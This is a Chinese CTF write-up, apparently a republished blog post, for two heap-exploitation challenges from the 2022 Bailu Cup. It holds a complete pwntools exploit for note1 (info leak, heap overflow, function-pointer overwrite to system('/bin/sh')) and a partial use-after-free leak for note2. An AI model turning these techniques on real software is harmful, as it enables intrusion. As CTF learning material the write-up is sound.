2022年柏鹭杯 pwn题复现

2022/9/17 23:16:13

本文主要是介绍2022年柏鹭杯 pwn题复现,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

题目附件链接:

链接:https://pan.baidu.com/s/1xng57H4uO04y0RdtYSVG7A
提取码:lele

note1:

在程序里面,一个很明显可以用于getshell的地方是3.call,由于函数地址和参数都是存在堆上的,只要能够修改函数地址为system函数的就可以了。然后可以进一步归结为泄露libc基址、泄露代码段基址......

泄露代码段基址:

主要漏洞点是:在new时,是通过fgets函数进行输入数据的,这样当参数n为8时,最后个字节就会为'\x00',不会泄露出后面的数据。但在edit时,new tag分支中是通过scanf函数进行输入,且格式化字符串为"%8s",这样可以使tag满满当当。不过注意的是,scanf函数对以字符串形式输入数据时,会在结尾附加的'\x00',但我们只要在edit中修改func就可以。接着只要callfun就可以在打印tag时连带func的地址打印出来啦~

add(0, 0x500, b'A'*0x100, b'', 1)
edit_tag(0, b'abcdefgh')
edit_func(0,1)
funcall(0)
io.recvuntil(b'abcdefgh')
text_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x131b
print("@@@ text_base = " + str(hex(text_base)))

 

泄露libc基址:

主要的漏洞点是:在edit中修改name时,不更新name的长度,可以达到堆溢出的效果。

 

edit_name(0, 0x17, b'')
add(1, 0x17, b'', b'', 1)
edit_name(0, 0x101, b'A'*0x20 + p64(0) + p64(text_base + 0x131b) + p64(text_base + 0x3FA8))
funcall(1)
io.recvuntil("name: ")
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - libc.symbols['printf']
print("@@@ libc_base = " + str(hex(libc_base)))

 

get shell:

重复第二步的溢出,直接getshell!

edit_name(0, 0x101, b'A'*0x20 + b'/bin/sh\x00' + p64(libc_base + libc.symbols['system']))
funcall(1)
io.interactive()

 

EXP:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io = process("./note1")
elf = ELF("./note1")
libc = ELF("./libc.so.6")

def add(Id, length, name, tag, func):
    io.sendlineafter("> ", "1")
    io.sendlineafter("id: ", str(Id))
    io.sendlineafter("name_length: ", str(length))
    io.sendlineafter("name: ", name)
    io.sendlineafter("tag: ", tag)
    io.sendlineafter("func: ", str(func))

def edit_name(Id, length, name):
    io.sendlineafter("> ", "2")
    io.sendlineafter("id: ", str(Id))
    io.sendlineafter("> ", "1")
    io.sendlineafter("name_length: ", str(length))
    io.sendlineafter("name: ", name)

def edit_tag(Id, tag):
    io.sendlineafter("> ", "2")
    io.sendlineafter("id: ", str(Id))
    io.sendlineafter("> ", "2")
    io.sendlineafter("new tag: ", tag)

def edit_func(Id, func):
    io.sendlineafter("> ", "2")
    io.sendlineafter("id: ", str(Id))
    io.sendlineafter("> ", "3")
    io.sendlineafter("func: ", str(func))

def funcall(Id):
    io.sendlineafter("> ", "3")
    io.sendlineafter("id: ", str(Id))

def debug():
    gdb.attach(io)
    pause()

add(0, 0x500, b'A'*0x100, b'', 1)
edit_tag(0, b'abcdefgh')
edit_func(0,1)
funcall(0)
io.recvuntil(b'abcdefgh')
text_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x131b
print("@@@ text_base = " + str(hex(text_base)))

edit_name(0, 0x17, b'')
add(1, 0x17, b'', b'', 1)
edit_name(0, 0x101, b'A'*0x20 + p64(0) + p64(text_base + 0x131b) + p64(text_base + 0x3FA8))
funcall(1)
io.recvuntil("name: ")
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - libc.symbols['printf']
print("@@@ libc_base = " + str(hex(libc_base)))

edit_name(0, 0x101, b'A'*0x20 + b'/bin/sh\x00' + p64(libc_base + libc.symbols['system']))
funcall(1)
io.interactive()

 

note2:

这里只泄露出了堆基址和libc基址,后面的涉及到一些IO的利用手法,听说banana、apple2可以打。

恐怖的是,看了Ex师傅的getshell部分,竟然只要几行代码。等学了之后再来补吧~

程序有明显的UAF漏洞,泄露基址很容易,注意从2.32开始有个Safe-Linking保护机制即可。

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io = process("./note2")
elf = ELF("./note2")
libc = ELF("./libc.so.6")

def create(idx, size, content):
    io.sendlineafter("> ", "1")
    io.sendlineafter("Index?", str(idx))
    io.sendlineafter("Size?", str(size))
    io.sendlineafter("Enter content: ", content)

def free(idx):
    io.sendlineafter("> ", "2")
    io.sendlineafter("Index?", str(idx))

def view(idx):
    io.sendlineafter("> ", "3")
    io.sendlineafter("Index?", str(idx))

def debug():
    gdb.attach(io)
    pause()

# use 'key' leak heap_base
create(0, 0xf0, b'tolele')
free(0)
view(0)
key = u64(io.recvuntil("\n\n--- menu ---", drop=True)[3:].ljust(8,b'\x00'))
heap_base = key << 12
print("@@@ heap_base = " + str(hex(heap_base)))

# leak libc_base
for i in range(0,9):
    create(i, 0xf0, b'tolele')
for i in range(0,7):
    free(i)
free(7)
view(7)
libc_base = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x219c00 - 0xe0
print("@@@ libc_base = " + str(hex(libc_base)))

(留坑,待填)


tolele

2022-09-17



这篇关于2022年柏鹭杯 pwn题复现的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程